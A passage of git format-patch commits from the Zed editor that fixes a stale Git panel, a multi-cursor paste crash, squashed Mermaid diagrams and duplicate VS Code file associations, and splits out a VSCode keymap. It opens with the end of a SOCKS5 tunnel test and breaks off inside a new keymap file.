+        self: Pin<&mut Self>,
+        cx: &mut Context<'_>,
+        buf: &[u8],
+    ) -> Poll<io::Result<usize>> {
+        Pin::new(&mut self.get_mut().stream).poll_write(cx, buf)
+    }
+
+    fn poll_flush(self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll<io::Result<()>> {
+        Pin::new(&mut self.get_mut().stream).poll_flush(cx)
+    }
+
+    fn poll_shutdown(self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll<io::Result<()>> {
+        Pin::new(&mut self.get_mut().stream).poll_shutdown(cx)
+    }
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    #[tokio::test]
+    async fn establishes_socks5_tunnel_and_preserves_leftover() {
+        let (client, mut server) = ::tokio::io::duplex(1024);
+        let spec = ProxySpec::parse(&"socks5h://proxy:1080".parse().unwrap()).unwrap();
+        let target = Target::Domain("cloud.example.com".to_string(), 443);
+        ::tokio::join!(
+            async {
+                let mut stream = establish(client, &spec, &target).await.unwrap();
+                let mut buffer = [0u8; 12];
+                stream.read_exact(&mut buffer).await.unwrap();
+                assert_eq!(&buffer, b"early-tunnel");
+                stream.write_all(b"hello").await.unwrap();
+                stream.flush().await.unwrap();
+            },
+            async {
+                let mut greeting = [0u8; 3];
+                server.read_exact(&mut greeting).await.unwrap();
+                assert_eq!(greeting, [0x05, 0x01, 0x00]);
+                server.write_all(&[0x05, 0x00]).await.unwrap();
+
+                let mut connect_request = vec![0u8; 4 + 1 + 17 + 2];
+                server.read_exact(&mut connect_request).await.unwrap();
+                // Send the reply and some tunnel bytes in one write so the
+                // driver has to hand them back through `leftover`.
+                let mut reply = vec![0x05, 0x00, 0x00, 0x01, 0, 0, 0, 0, 0, 0];
+                reply.extend_from_slice(b"early-tunnel");
+                server.write_all(&reply).await.unwrap();
+
+                let mut buffer = [0u8; 5];
+                server.read_exact(&mut buffer).await.unwrap();
+                assert_eq!(&buffer, b"hello");
+            },
+        );
+    }
+}

From 137c981cb03b38034ce727f4055f7423c051627f Mon Sep 17 00:00:00 2001
From: Jiby Jose <hello@jiby.me>
Date: Fri, 24 Jul 2026 05:11:43 +0530
Subject: [PATCH 670/772] Refresh git state on bare .git events (#59876)

# Objective

Fix stale Git state in Zed when repository metadata changes are reported
only as a bare `.git` directory event.

On macOS, file watcher events can be coalesced such that Git operations
only surface as a `Changed` event for the `.git` directory itself,
rather than individual events for files like `.git/index` or
`.git/HEAD`. Zed previously ignored bare `.git` directory events before
scheduling a Git metadata refresh, which could leave the Git panel
showing stale changes or an outdated history even though `git status` /
`git log` reflected the latest state.

## Solution

Treat meaningful bare `.git` directory events as Git repository updates
before skipping them from normal worktree scanning.

This preserves the existing behavior of not scanning `.git` as regular
project content, while still notifying the Git repository tracking path
that repository metadata may have changed. As a result, Git state such
as `HEAD` and file statuses are refreshed when `.git` itself is the only
watcher event.

Updated the existing worktree test expectations so bare `.git` events
now trigger `UpdatedGitRepositories`, while skipped files like
`.git/index.lock` still do not.

Added a test covering the full project/Git path:

- repo initially has old `HEAD` and a modified file status
- fake Git state is updated to represent a commit
- only a bare `.git Changed` event is emitted
- Zed refreshes the repository snapshot, observes the new `HEAD`, and
clears the stale file status

## Testing

The new tests cover the full project/Git path scenario described above.
It fails without the fix and passes with the fix. Unfortunately, i was
unable to reproduce the issue deterministically enough to test it end to
end.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

---

Release Notes:

- Fixed stale Git panel state after repository metadata changes.

Co-authored-by: Eric Holk <eric@zed.dev>
---
 .../tests/integration/project_tests.rs        | 74 +++++++++++++++++++
 crates/worktree/src/worktree.rs               | 15 ++--
 .../tests/integration/worktree_tests.rs       |  9 +--
 3 files changed, 86 insertions(+), 12 deletions(-)

diff --git a/crates/project/tests/integration/project_tests.rs b/crates/project/tests/integration/project_tests.rs
index 1b373941d24a25..1a5d6d358c9dca 100644
--- a/crates/project/tests/integration/project_tests.rs
+++ b/crates/project/tests/integration/project_tests.rs
@@ -13958,6 +13958,80 @@ async fn test_file_status(cx: &mut gpui::TestAppContext) {
     });
 }
 
+#[gpui::test]
+async fn test_bare_dot_git_changed_event_refreshes_git_state(cx: &mut gpui::TestAppContext) {
+    init_test(cx);
+
+    let fs = FakeFs::new(cx.executor());
+    fs.insert_tree(
+        path!("/repo"),
+        json!({
+            ".git": {},
+            "file.txt": "new contents",
+        }),
+    )
+    .await;
+
+    let dot_git = Path::new(path!("/repo/.git"));
+    fs.set_head_for_repo(dot_git, &[("file.txt", "old contents".into())], "old-sha");
+    fs.set_index_for_repo(dot_git, &[("file.txt", "old contents".into())]);
+
+    let project = Project::test(fs.clone(), [path!("/repo").as_ref()], cx).await;
+    project
+        .update(cx, |project, cx| project.git_scans_complete(cx))
+        .await;
+    cx.run_until_parked();
+
+    let repository = project.read_with(cx, |project, cx| {
+        project.repositories(cx).values().next().unwrap().clone()
+    });
+
+    repository.read_with(cx, |repository, _| {
+        assert_eq!(
+            repository
+                .head_commit
+                .as_ref()
+                .map(|commit| commit.sha.as_ref()),
+            Some("old-sha")
+        );
+        assert_eq!(
+            repository
+                .status_for_path(&repo_path("file.txt"))
+                .map(|entry| entry.status),
+            Some(StatusCode::Modified.worktree())
+        );
+    });
+
+    fs.with_git_state(dot_git, false, |state| {
+        state
+            .head_contents
+            .insert(repo_path("file.txt"), "new contents".into());
+        state
+            .index_contents
+            .insert(repo_path("file.txt"), "new contents".into());
+        state.refs.insert("HEAD".into(), "new-sha".into());
+    })
+    .unwrap();
+    fs.emit_fs_event(dot_git, Some(PathEventKind::Changed));
+
+    cx.run_until_parked();
+    project
+        .update(cx, |project, cx| project.git_scans_complete(cx))
+        .await;
+    cx.run_until_parked();
+
+    repository.read_with(cx, |repository, _| {
+        assert_eq!(
+            repository
+                .head_commit
+                .as_ref()
+                .map(|commit| commit.sha.as_ref()),
+            Some("new-sha")
+        );
+        assert_eq!(repository.status_for_path(&repo_path("file.txt")), None);
+    });
+}
+
 #[gpui::test]
 #[ignore]
 async fn test_ignored_dirs_events(cx: &mut gpui::TestAppContext) {
diff --git a/crates/worktree/src/worktree.rs b/crates/worktree/src/worktree.rs
index 1edef7e5b66802..9350d193a8a527 100644
--- a/crates/worktree/src/worktree.rs
+++ b/crates/worktree/src/worktree.rs
@@ -4790,6 +4790,14 @@ impl BackgroundScanner {
                         skip_ix(&mut ranges_to_drop, ix);
                         continue;
                     }
+
+                    if !dot_git_abs_paths.contains(&dot_git_abs_path) {
+                        log::debug!(
+                            "detected update within git repo at {dot_git_abs_path:?}: {abs_path:?}"
+                        );
+                        dot_git_abs_paths.push(dot_git_abs_path);
+                    }
+
                     if is_dot_git {
                         log::debug!(
                             "ignoring event {abs_path:?} for .git directory itself (kind: {:?})",
@@ -4816,13 +4824,6 @@ impl BackgroundScanner {
                         )
                         .await;
                     }
-
-                    if !dot_git_abs_paths.contains(&dot_git_abs_path) {
-                        log::debug!(
-                            "detected update within git repo at {dot_git_abs_path:?}: {abs_path:?}"
-                        );
-                        dot_git_abs_paths.push(dot_git_abs_path);
-                    }
                 }
 
                 if self.track_git_repositories
diff --git a/crates/worktree/tests/integration/worktree_tests.rs b/crates/worktree/tests/integration/worktree_tests.rs
index 6e2c2a947051fd..41b27cb09c3000 100644
--- a/crates/worktree/tests/integration/worktree_tests.rs
+++ b/crates/worktree/tests/integration/worktree_tests.rs
@@ -4682,12 +4682,11 @@ async fn test_dot_git_dir_event_does_not_suppress_children(
 
     let dot_git = project_dir.join(DOT_GIT);
 
-    // Case 1: Events for .git AND .git/index.lock should NOT emit UpdatedGitRepositories
+    // Case 1: Event for .git/index.lock only should NOT emit UpdatedGitRepositories
     // (index.lock is in the skipped files list)
     {
         let mut events = cx.events(&worktree);
         fs.pause_events();
-        fs.emit_fs_event(dot_git.clone(), Some(PathEventKind::Changed));
         fs.emit_fs_event(dot_git.join("index.lock"), Some(PathEventKind::Created));
         fs.unpause_events_and_flush();
         executor.run_until_parked();
@@ -4699,7 +4698,7 @@ async fn test_dot_git_dir_event_does_not_suppress_children(
         );
     }
 
-    // Case 2: Event for just .git (bare directory event) should NOT emit UpdatedGitRepositories
+    // Case 2: Event for just .git (bare directory event) should emit UpdatedGitRepositories
     {
         let mut events = cx.events(&worktree);
         fs.pause_events();
@@ -4709,8 +4708,8 @@ async fn test_dot_git_dir_event_does_not_suppress_children(
 
         let got_git_update = drain_git_repo_updates(&mut events);
         assert!(
-            !got_git_update,
-            "should NOT emit UpdatedGitRepositories for a bare .git directory event"
+            got_git_update,
+            "should emit UpdatedGitRepositories for a bare .git directory event"
         );
     }
 

From e12992cae3c0405a6e89e7b1190e95e843845c2e Mon Sep 17 00:00:00 2001
From: Tim Vermeulen <tvermeulen@me.com>
Date: Fri, 24 Jul 2026 02:16:06 +0200
Subject: [PATCH 671/772] editor: Fix crash when copying and pasting using
 multiple cursors (#61545)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Fixes a crash when copying and pasting a mixed empty/nonempty
multi-cursor selection.

`Editor::do_copy` is meant to insert a newline after each non-final
selection that doesn't copy the entire line, but
`prev_selection_was_entire_line` is currently based on the current
selection instead of the previous one. `Editor::cut_common` does already
correctly track this state across loop iterations.

This can lead to an out of bounds crash when pasting because the
indexing logic in `Editor::do_paste` relies on these newlines being
added correctly, depending on `is_entire_line`.

Repro:

```
foo
bar
```
1. select `foo`
2. option-click after `bar` to add an empty selection
```
«fooˇ»
barˇ
```
3. copy
4. paste

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

---

Release Notes:

- Fixed a crash when copying and pasting using multiple cursors.
---
 crates/editor/src/clipboard.rs    |  3 ++-
 crates/editor/src/editor_tests.rs | 26 ++++++++++++++++++++++++++
 2 files changed, 28 insertions(+), 1 deletion(-)

diff --git a/crates/editor/src/clipboard.rs b/crates/editor/src/clipboard.rs
index b6875bee48083c..35977107376af0 100644
--- a/crates/editor/src/clipboard.rs
+++ b/crates/editor/src/clipboard.rs
@@ -586,6 +586,7 @@ impl Editor {
 
         let max_point = buffer.max_point();
         let mut is_first = true;
+        let mut prev_selection_was_entire_line = false;
         for selection in &selections {
             let mut start = selection.start;
             let mut end = selection.end;
@@ -641,7 +642,6 @@ impl Editor {
 
             let is_multiline_trim = trimmed_selections.len() > 1;
             let mut selection_len: usize = 0;
-            let prev_selection_was_entire_line = is_entire_line && !is_multiline_trim;
 
             for trimmed_range in trimmed_selections {
                 if is_first {
@@ -661,6 +661,7 @@ impl Editor {
                     selection_len += 1;
                 }
             }
+            prev_selection_was_entire_line = is_entire_line && !is_multiline_trim;
 
             clipboard_selections.push(ClipboardSelection::for_buffer(
                 selection_len,
diff --git a/crates/editor/src/editor_tests.rs b/crates/editor/src/editor_tests.rs
index dbf3e48cf38e87..5e43b80e5f2c6c 100644
--- a/crates/editor/src/editor_tests.rs
+++ b/crates/editor/src/editor_tests.rs
@@ -9690,6 +9690,32 @@ async fn test_clipboard(cx: &mut TestAppContext) {
         tˇhe lazy dog"});
 }
 
+#[gpui::test]
+async fn test_copy_and_paste_non_empty_selection_followed_by_empty_selection(
+    cx: &mut TestAppContext,
+) {
+    init_test(cx, |_| {});
+
+    let mut cx = EditorTestContext::new(cx).await;
+    cx.set_state(indoc! {"
+        «fooˇ»
+        barˇ
+    "});
+
+    cx.update_editor(|editor, window, cx| editor.copy(&Copy, window, cx));
+    assert_eq!(
+        cx.read_from_clipboard().and_then(|item| item.text()),
+        Some("foo\nbar\n".to_string())
+    );
+
+    cx.update_editor(|editor, window, cx| editor.paste(&Paste, window, cx));
+    cx.assert_editor_state(indoc! {"
+        fooˇ
+        bar
+        barˇ
+    "});
+}
+
 #[gpui::test]
 async fn test_copy_trim(cx: &mut TestAppContext) {
     init_test(cx, |_| {});

From fd8f0cdfd7113ff3a9147db2b0d7a7e33feb6ce5 Mon Sep 17 00:00:00 2001
From: Atharva Ajmera <atharvaajmera06@gmail.com>
Date: Fri, 24 Jul 2026 06:09:01 +0530
Subject: [PATCH 672/772] Fix squashed Mermaid diagrams in markdown preview
 (#61260)

## Summary

Wide Mermaid diagrams in Markdown Preview were forced through
`max_w_full()`, so both width and height shrank to the pane and text
became unreadable/blurry. There was no horizontal pan.

Markdown Preview already sets `code_block_overflow_x_scroll: true` for
fenced code blocks. Mermaid ignored that flag.

This change gates layout on that style flag:

- **Preview** (`code_block_overflow_x_scroll`): keep the raster at
intrinsic size and enable `overflow_x_scroll` (with
`restrict_scroll_to_axis`) so wide diagrams stay readable and can be
panned horizontally.
- **Compact UIs** (e.g. agent): keep previous `max_w_full()` fit-to-pane
behavior.

Fixes #61051

## Test plan

- [ ] Open a markdown file with a wide ` ```mermaid ` flowchart (e.g.
multi-column TB graph) in Markdown Preview
- [ ] Confirm diagram is not crushed to pane width; text remains legible
at default scale
- [ ] Confirm horizontal scroll/pan works on the diagram without
stealing vertical page scroll
- [ ] Confirm compact surfaces that leave `code_block_overflow_x_scroll`
off still fit diagrams to width
- [ ] Confirm mermaid scale fence info still works (` ```mermaid 150 `)
- [ ] Confirm Preview/Code tabs and copy button still work

---

Release Notes:

- Fixed wide Mermaid diagrams in Markdown Preview being squashed and
illegible
---
 crates/markdown/src/mermaid.rs | 52 +++++++++++++++++++++-------------
 1 file changed, 32 insertions(+), 20 deletions(-)

diff --git a/crates/markdown/src/mermaid.rs b/crates/markdown/src/mermaid.rs
index d6ab952496326f..ae42ad453d65d3 100644
--- a/crates/markdown/src/mermaid.rs
+++ b/crates/markdown/src/mermaid.rs
@@ -322,6 +322,8 @@ pub(crate) fn render_mermaid_diagram(
     let cached = mermaid_state.cache.get(&parsed.contents);
     let render_result = cached.and_then(|cached| cached.render_image.get());
     let show_interactive = copy_button_visibility != CopyButtonVisibility::Hidden;
+    // Preview keeps diagrams at natural size + scroll instead of crushing them via max_w_full (#61051).
+    let allow_overflow_x = style.code_block_overflow_x_scroll;
 
     let code = parsed.contents.contents.clone();
 
@@ -333,16 +335,7 @@ pub(crate) fn render_mermaid_diagram(
             let body = if showing_code {
                 render_mermaid_code_view(&parsed.contents.contents)
             } else {
-                div()
-                    .w_full()
-                    .child(
-                        img(ImageSource::Render(render_image.clone()))
-                            .max_w_full()
-                            .with_fallback(|| {
-                                Label::new("Failed to Load Mermaid Diagram").into_any_element()
-                            }),
-                    )
-                    .into_any_element()
+                render_mermaid_image(render_image.clone(), allow_overflow_x, source_offset)
             };
 
             container
@@ -382,16 +375,11 @@ pub(crate) fn render_mermaid_diagram(
                 container
                     .child(
                         div()
-                            .w_full()
-                            .child(
-                                img(ImageSource::Render(fallback.clone()))
-                                    .max_w_full()
-                                    .with_fallback(|| {
-                                        div()
-                                            .child(Label::new("Failed to load mermaid diagram"))
-                                            .into_any_element()
-                                    }),
-                            )
+                            .child(render_mermaid_image(
+                                fallback.clone(),
+                                allow_overflow_x,
+                                source_offset,
+                            ))
                             .with_animation(
                                 "mermaid-fallback-pulse",
                                 Animation::new(Duration::from_secs(2))
@@ -439,6 +427,30 @@ pub(crate) fn render_mermaid_diagram(
     }
 }
 
+/// Renders a mermaid diagram image, scrolling at intrinsic size in preview or fit-to-pane elsewhere.
+fn render_mermaid_image(
+    render_image: Arc<RenderImage>,
+    allow_overflow_x: bool,
+    source_offset: usize,
+) -> AnyElement {
+    let image = img(ImageSource::Render(render_image))
+        .with_fallback(|| Label::new("Failed to Load Mermaid Diagram").into_any_element());
+
+    if allow_overflow_x {
+        div()
+            .id(("mermaid-scroll", source_offset))
+            .w_full()
+            .map(|mut container| {
+                container.style().restrict_scroll_to_axis = Some(true);
+                container.overflow_x_scroll()
+            })
+            .child(image)
+            .into_any_element()
+    } else {
+        div().w_full().child(image.max_w_full()).into_any_element()
+    }
+}
+
 fn render_mermaid_tab_header(
     source_offset: usize,
     showing_code: bool,

From d47347d1aafacf1196eb66d87805592b97864549 Mon Sep 17 00:00:00 2001
From: Ibrahim Khan <2005ibrahimkhan@gmail.com>
Date: Thu, 23 Jul 2026 17:54:58 -0700
Subject: [PATCH 673/772] settings: Fix VS Code import appending duplicate file
 associations (#61355)

Closes #56536

## What & why

Running `zed: import vs code settings` more than once kept re-adding the
same file extensions to `file_types`, so `files.associations` entries
grew without bound:

```json
"file_types": { "c": ["*.keymap", "*.keymap", "*.keymap"] }
```

The import merges the VS Code-derived settings into the user's existing
settings, and `file_types` values were `ExtendingVec`s, whose
`merge_from` appends every incoming value unconditionally.

Per review feedback, instead of changing `ExtendingVec`'s merge
semantics (it also backs ssh/wsl connections, `private_files`, etc.),
this adds a new `ExtendingSet` type that actually behaves like a set,
and switches `FileTypeMap`'s file associations to it:

- Backed by an insertion-order-preserving `IndexSet`, so users' pattern
order round-trips through the settings file unchanged (the import
machinery diffs serialized old/new content to produce edits; a sorted
set would reorder existing arrays).
- Merging only accumulates new values, so re-importing an
already-present association is a no-op.
- Since it's a real set, deserialization also collapses duplicates that
earlier imports already wrote into the settings file.
- `ExtendingVec` and all its other users are untouched.

## Testing

- Added a `test_vscode_import` case that re-imports an already-present
`files.associations` entry and asserts the extension isn't duplicated.
It fails before the change and passes after.
- `cargo test -p settings -p settings_content -p language` pass.
- `./script/clippy -p settings -p settings_content -p language -p
recent_projects -p json_schema_store` is clean.

Release Notes:

- Fixed importing VS Code settings repeatedly adding duplicate
`file_types` entries for `files.associations`.

---------

Co-authored-by: Christopher Biscardi <chris@christopherbiscardi.com>
---
 crates/language/src/language_settings.rs      |  5 +++-
 crates/settings/src/settings_store.rs         | 30 +++++++++++++++++--
 crates/settings/src/vscode_import.rs          |  8 +++--
 crates/settings_content/src/language.rs       |  8 ++---
 .../settings_content/src/settings_content.rs  | 23 +++++++++++++-
 5 files changed, 64 insertions(+), 10 deletions(-)

diff --git a/crates/language/src/language_settings.rs b/crates/language/src/language_settings.rs
index b73822723de1f6..da7f73dbd515b0 100644
--- a/crates/language/src/language_settings.rs
+++ b/crates/language/src/language_settings.rs
@@ -892,7 +892,10 @@ impl settings::Settings for AllLanguageSettings {
 
             file_types.insert(
                 language.clone(),
-                (builder.build().unwrap(), patterns.0.clone()),
+                (
+                    builder.build().unwrap(),
+                    patterns.0.iter().cloned().collect(),
+                ),
             );
         }
 
diff --git a/crates/settings/src/settings_store.rs b/crates/settings/src/settings_store.rs
index 8729a7db2cb738..8ef05e6fef2b73 100644
--- a/crates/settings/src/settings_store.rs
+++ b/crates/settings/src/settings_store.rs
@@ -36,7 +36,7 @@ use crate::{
     LanguageToSettingsMap, LspSettings, LspSettingsMap, SemanticTokenRules, ThemeName,
     UserSettingsContentExt, VsCodeSettings, WorktreeId,
     settings_content::{
-        ExtendingVec, ExtensionsSettingsContent, ProfileBase, ProjectSettingsContent,
+        ExtendingSet, ExtensionsSettingsContent, ProfileBase, ProjectSettingsContent,
         RootUserSettings, SettingsContent, UserSettingsContent, merge_from::MergeFrom,
     },
 };
@@ -1203,7 +1203,7 @@ impl SettingsStore {
             });
 
             let file_type_patterns_ref =
-                generator.subschema_for::<ExtendingVec<String>>().to_value();
+                generator.subschema_for::<ExtendingSet<String>>().to_value();
             replace_subschema::<FileTypeMap>(generator, || {
                 json_schema!({
                     "type": "object",
@@ -2616,6 +2616,32 @@ mod tests {
             .unindent(),
             cx,
         );
+
+        // re-importing a file association that is already present should be
+        // idempotent rather than appending a duplicate extension (#56536)
+        check_vscode_import(
+            &mut store,
+            r#"{
+              "file_types": {
+                "c": ["*.keymap"]
+              }
+            }
+            "#
+            .unindent(),
+            r#"{ "files.associations": { "*.keymap": "c" } }"#.to_owned(),
+            r#"{
+              "base_keymap": "VSCode",
+              "minimap": {
+                "show": "always"
+              },
+              "file_types": {
+                "c": ["*.keymap"]
+              }
+            }
+            "#
+            .unindent(),
+            cx,
+        );
     }
 
     #[track_caller]
diff --git a/crates/settings/src/vscode_import.rs b/crates/settings/src/vscode_import.rs
index 4c2d3d7f63d673..6db45b1e297522 100644
--- a/crates/settings/src/vscode_import.rs
+++ b/crates/settings/src/vscode_import.rs
@@ -644,11 +644,15 @@ impl VsCodeSettings {
 
     fn file_types(&self) -> Option<FileTypeMap> {
         // vscodes file association map is inverted from ours, so we flip the mapping before merging
-        let mut associations: HashMap<Arc<str>, ExtendingVec<String>> = HashMap::default();
+        let mut associations: HashMap<Arc<str>, ExtendingSet<String>> = HashMap::default();
         let map = self.read_value("files.associations")?.as_object()?;
         for (k, v) in map {
             let Some(v) = v.as_str() else { continue };
-            associations.entry(v.into()).or_default().0.push(k.clone());
+            associations
+                .entry(v.into())
+                .or_default()
+                .0
+                .insert(k.clone());
         }
         skip_default(FileTypeMap(associations))
     }
diff --git a/crates/settings_content/src/language.rs b/crates/settings_content/src/language.rs
index 922b5211eb97ba..326513c28e8864 100644
--- a/crates/settings_content/src/language.rs
+++ b/crates/settings_content/src/language.rs
@@ -6,7 +6,7 @@ use serde::{Deserialize, Serialize};
 use settings_macros::{MergeFrom, with_fallible_options};
 use std::sync::Arc;
 
-use crate::{DocumentFoldingRanges, DocumentSymbols, ExtendingVec, SemanticTokens, merge_from};
+use crate::{DocumentFoldingRanges, DocumentSymbols, ExtendingSet, SemanticTokens, merge_from};
 
 /// The state of the modifier keys at some point in time
 #[derive(Clone, Debug, Default, PartialEq, Eq, Serialize, Deserialize, JsonSchema, MergeFrom)]
@@ -1203,11 +1203,11 @@ pub struct LanguageToSettingsMap(pub HashMap<String, LanguageSettingsContent>);
 /// Map from language name to file patterns.
 #[with_fallible_options]
 #[derive(Debug, Clone, Default, PartialEq, Serialize, Deserialize, JsonSchema, MergeFrom)]
-pub struct FileTypeMap(pub HashMap<Arc<str>, ExtendingVec<String>>);
+pub struct FileTypeMap(pub HashMap<Arc<str>, ExtendingSet<String>>);
 
 impl<'a> IntoIterator for &'a FileTypeMap {
-    type Item = (&'a Arc<str>, &'a ExtendingVec<String>);
-    type IntoIter = std::collections::hash_map::Iter<'a, Arc<str>, ExtendingVec<String>>;
+    type Item = (&'a Arc<str>, &'a ExtendingSet<String>);
+    type IntoIter = std::collections::hash_map::Iter<'a, Arc<str>, ExtendingSet<String>>;
 
     fn into_iter(self) -> Self::IntoIter {
         self.0.iter()
diff --git a/crates/settings_content/src/settings_content.rs b/crates/settings_content/src/settings_content.rs
index 0edd11fdea74dc..42d1a242dfd5ee 100644
--- a/crates/settings_content/src/settings_content.rs
+++ b/crates/settings_content/src/settings_content.rs
@@ -32,7 +32,7 @@ pub use theme::*;
 pub use title_bar::*;
 pub use workspace::*;
 
-use collections::{HashMap, IndexMap};
+use collections::{HashMap, IndexMap, IndexSet};
 use schemars::JsonSchema;
 use serde::{Deserialize, Serialize};
 use settings_macros::{MergeFrom, with_fallible_options};
@@ -1397,6 +1397,27 @@ impl<T: Clone> merge_from::MergeFrom for ExtendingVec<T> {
     }
 }
 
+// An ExtendingSet in the settings can only accumulate new values, and ignores
+// values that are already present, so merging the same source more than once
+// (e.g. re-importing VS Code settings) is idempotent.
+//
+// Insertion order is preserved, so it round-trips through the user's settings
+// file without reordering their entries.
+#[derive(Default, Debug, Clone, PartialEq, Serialize, Deserialize, JsonSchema)]
+pub struct ExtendingSet<T: std::hash::Hash + Eq>(pub IndexSet<T>);
+
+impl<T: std::hash::Hash + Eq> From<Vec<T>> for ExtendingSet<T> {
+    fn from(vec: Vec<T>) -> Self {
+        ExtendingSet(vec.into_iter().collect())
+    }
+}
+
+impl<T: Clone + std::hash::Hash + Eq> merge_from::MergeFrom for ExtendingSet<T> {
+    fn merge_from(&mut self, other: &Self) {
+        self.0.extend(other.0.iter().cloned());
+    }
+}
+
 // A SaturatingBool in the settings can only ever be set to true,
 // later attempts to set it to false will be ignored.
 //

From 8c7811ea7291dbfb59bf959400f385565e3dae77 Mon Sep 17 00:00:00 2001
From: Kirill Bulatov <kirill@zed.dev>
Date: Fri, 24 Jul 2026 10:54:03 +0300
Subject: [PATCH 674/772] Split VSCode and Zed keymap files (#61532)

Currently, Zed's "VSCode" keymap has certain discrepancies that are not
changed for compatibility reasons, e.g. opening inline assistant is
different in each editor.

To simplify the transition, extract VSCode bindings its own keymap so in
the future it's simpler to accept changes to each keymap separately.

Caveat: people who had ever changed the keymap, will have VSCode keymap
in their settings which will change their bindings slightly after this
commit is released.

I had to introduce more logic to `null` handling as had to somehow
disable `ctrl-enter` on mac from spawning the inline assistant block for
VSCode keymap (it's cmd-i there).

Release Notes:

- Split VSCode and Zed keymap files
---
 assets/keymaps/linux/vscode.json              | 72 ++++++++++++++
 assets/keymaps/macos/vscode.json              | 82 ++++++++++++++++
 assets/settings/default.json                  | 16 ++--
 crates/gpui/src/keymap.rs                     | 96 ++++++++++++++++---
 crates/onboarding/src/basics_page.rs          | 22 +++--
 crates/settings/src/base_keymap_setting.rs    | 22 +++--
 .../settings_content/src/settings_content.rs  |  4 +-
 crates/zed/src/zed.rs                         | 32 +++++++
 docs/src/key-bindings.md                      |  3 +-
 docs/src/reference/all-settings.md            | 42 ++++++--
 10 files changed, 346 insertions(+), 45 deletions(-)
 create mode 100644 assets/keymaps/linux/vscode.json
 create mode 100644 assets/keymaps/macos/vscode.json

diff --git a/assets/keymaps/linux/vscode.json b/assets/keymaps/linux/vscode.json
new file mode 100644
index 00000000000000..a333e19ff9acf3
--- /dev/null
+++ b/assets/keymaps/linux/vscode.json
@@ -0,0 +1,72 @@
+[
+  // VS Code for Linux (and Windows). See: https://code.visualstudio.com/docs/reference/default-keybindings
+  //
+  // Zed's default keymap is close to VS Code's, so this overlay only contains
+  // the bindings where the two diverge.
+  {
+    "context": "Editor",
+    "use_key_equivalents": true,
+    "bindings": {
+      "shift-alt-f": "editor::Format", // Format Document (Windows-style; Linux `ctrl-shift-i` is a Zed default already)
+      "ctrl-k ctrl-f": "editor::FormatSelections", // Format Selection
+      "shift-alt-i": "editor::SplitSelectionIntoLines", // Insert cursor at end of each line selected
+      "alt-z": "editor::ToggleSoftWrap", // Toggle Word Wrap
+      "ctrl-shift-space": "editor::ShowSignatureHelp", // Trigger Parameter Hints
+      "ctrl-shift-a": "editor::ToggleBlockComments", // Toggle Block Comment
+      "ctrl-k f12": "editor::GoToDefinitionSplit", // Open Definition to the Side
+    },
+  },
+  {
+    "context": "Editor && mode == full",
+    "use_key_equivalents": true,
+    "bindings": {
+      // In VS Code `ctrl-k z` is Zen Mode; the word wrap toggle moves to `alt-z`.
+      "ctrl-k z": "workspace::ToggleCenteredLayout",
+      "ctrl-i": "assistant::InlineAssist", // Inline Chat
+    },
+  },
+  {
+    "context": "!AcpThread > Editor && mode == full",
+    "use_key_equivalents": true,
+    "bindings": {
+      "ctrl-enter": "editor::NewlineBelow", // Insert Line Below (Inline Chat lives on `ctrl-i`)
+    },
+  },
+  {
+    "context": "Terminal",
+    "use_key_equivalents": true,
+    "bindings": {
+      "ctrl-enter": null,
+    },
+  },
+  {
+    "context": "Workspace",
+    "use_key_equivalents": true,
+    "bindings": {
+      "f5": "debugger::Start", // Start Debugging
+      "ctrl-alt-i": "agent::ToggleFocus", // Open Chat
+    },
+  },
+  {
+    "context": "Workspace && debugger_running",
+    "use_key_equivalents": true,
+    "bindings": {
+      "f5": null,
+    },
+  },
+  {
+    "context": "Workspace && debugger_stopped",
+    "use_key_equivalents": true,
+    "bindings": {
+      "f5": "debugger::Continue",
+    },
+  },
+  {
+    "context": "Workspace && debugger_session",
+    "use_key_equivalents": true,
+    "bindings": {
+      "f10": "debugger::StepOver",
+      "f11": "debugger::StepInto",
+    },
+  },
+]
diff --git a/assets/keymaps/macos/vscode.json b/assets/keymaps/macos/vscode.json
new file mode 100644
index 00000000000000..532671e5080d50
--- /dev/null
+++ b/assets/keymaps/macos/vscode.json
@@ -0,0 +1,82 @@
+[
+  // VS Code for macOS. See: https://code.visualstudio.com/docs/reference/default-keybindings
+  //
+  // Zed's default keymap is close to VS Code's, so this overlay only contains
+  // the bindings where the two diverge.
+  {
+    "context": "Editor",
+    "use_key_equivalents": true,
+    "bindings": {
+      "shift-alt-f": "editor::Format", // Format Document
+      "cmd-k cmd-f": "editor::FormatSelections", // Format Selection
+      "shift-alt-i": "editor::SplitSelectionIntoLines", // Insert cursor at end of each line selected
+      "alt-z": "editor::ToggleSoftWrap", // Toggle Word Wrap
+      "cmd-shift-space": "editor::ShowSignatureHelp", // Trigger Parameter Hints
+      "ctrl-shift-cmd-right": "editor::SelectLargerSyntaxNode", // Expand AST Selection
+      "ctrl-shift-cmd-left": "editor::SelectSmallerSyntaxNode", // Shrink AST Selection
+      "cmd-k cmd-c": ["editor::ToggleComments", { "advance_downwards": false }], // Add Line Comment (closest analog)
+      "cmd-k f12": "editor::GoToDefinitionSplit", // Open Definition to the Side
+    },
+  },
+  {
+    "context": "Editor && mode == full",
+    "use_key_equivalents": true,
+    "bindings": {
+      // In VS Code `cmd-k z` is Zen Mode; the word wrap toggle moves to `alt-z`.
+      "cmd-k z": "workspace::ToggleCenteredLayout",
+      "cmd-i": "assistant::InlineAssist", // Inline Chat
+    },
+  },
+  {
+    "context": "!AcpThread > Editor && mode == full",
+    "use_key_equivalents": true,
+    "bindings": {
